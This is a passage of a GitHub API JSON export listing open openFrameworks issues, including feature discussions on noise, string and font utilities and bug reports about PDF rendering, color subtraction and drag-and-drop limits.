doesn't render properly to PDF","user":{"login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","url":"https://api.github.com/users/rezaali","html_url":"https://github.com/rezaali","followers_url":"https://api.github.com/users/rezaali/followers","following_url":"https://api.github.com/users/rezaali/following","gists_url":"https://api.github.com/users/rezaali/gists{/gist_id}","starred_url":"https://api.github.com/users/rezaali/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rezaali/subscriptions","organizations_url":"https://api.github.com/users/rezaali/orgs","repos_url":"https://api.github.com/users/rezaali/repos","events_url":"https://api.github.com/users/rezaali/events{/privacy}","received_events_url":"https://api.github.com/users/rezaali/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-06T22:02:01Z","updated_at":"2012-04-07T19:49:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","id":4001148,"number":1144,"title":"ofColor subtraction and negative values","user":{"login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","url":"https://api.github.com/users/jembezmamy","html_url":"https://github.com/jembezmamy","followers_url":"https://api.github.com/users/jembezmamy/followers","following_url":"https://api.github.com/users/jembezmamy/following","gists_url":"https://api.github.com/users/jembezmamy/gists{/gist_id}","starred_url":"https://api.github.com/users/jembezmamy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jembezmamy/subscriptions","organizations_url":"https://api.github.com/users/jembezmamy/orgs","repos_url":"https://api.github.com/users/jembezmamy/repos","events_url":"https://api.github.com/users/jembezmamy/events{/privacy}","received_events_url":"https://api.github.com/users/jembezmamy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-04-06T07:56:44Z","updated_at":"2013-02-11T12:17:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","id":3917377,"number":1134,"title":"multidimensional noise output","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-01T16:44:55Z","updated_at":"2012-04-03T17:37:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","id":3917018,"number":1133,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-01T15:45:11Z","updated_at":"2012-04-01T17:48:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","id":3911629,"number":1132,"title":"ofStringUtils:: feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-31T17:52:48Z","updated_at":"2012-08-27T23:35:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","id":3911537,"number":1131,"title":"ofTTF feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":25,"created_at":"2012-03-31T17:36:25Z","updated_at":"2012-05-27T17:40:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","id":3910580,"number":1130,"title":"Define standard header for examples.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-31T14:44:01Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Agree on a common format for a header in the contributed example files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","id":3910549,"number":1128,"title":"upgrade scripts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-31T14:38:19Z","updated_at":"2012-03-31T16:32:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","id":3897090,"number":1126,"title":"PG Feature request: Clean examples folder","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-30T12:51:30Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","id":3883598,"number":1124,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-29T16:47:29Z","updated_at":"2012-06-07T12:06:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","id":3856005,"number":1120,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","user":{"login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","html_url":"https://github.com/imanhp","followers_url":"https://api.github.com/users/imanhp/followers","following_url":"https://api.github.com/users/imanhp/following","gists_url":"https://api.github.com/users/imanhp/gists{/gist_id}","starred_url":"https://api.github.com/users/imanhp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/imanhp/subscriptions","organizations_url":"https://api.github.com/users/imanhp/orgs","repos_url":"https://api.github.com/users/imanhp/repos","events_url":"https://api.github.com/users/imanhp/events{/privacy}","received_events_url":"https://api.github.com/users/imanhp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-03-28T16:21:45Z","updated_at":"2012-03-29T13:05:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","id":3825582,"number":1117,"title":"Can't retrieve desired frame rate once 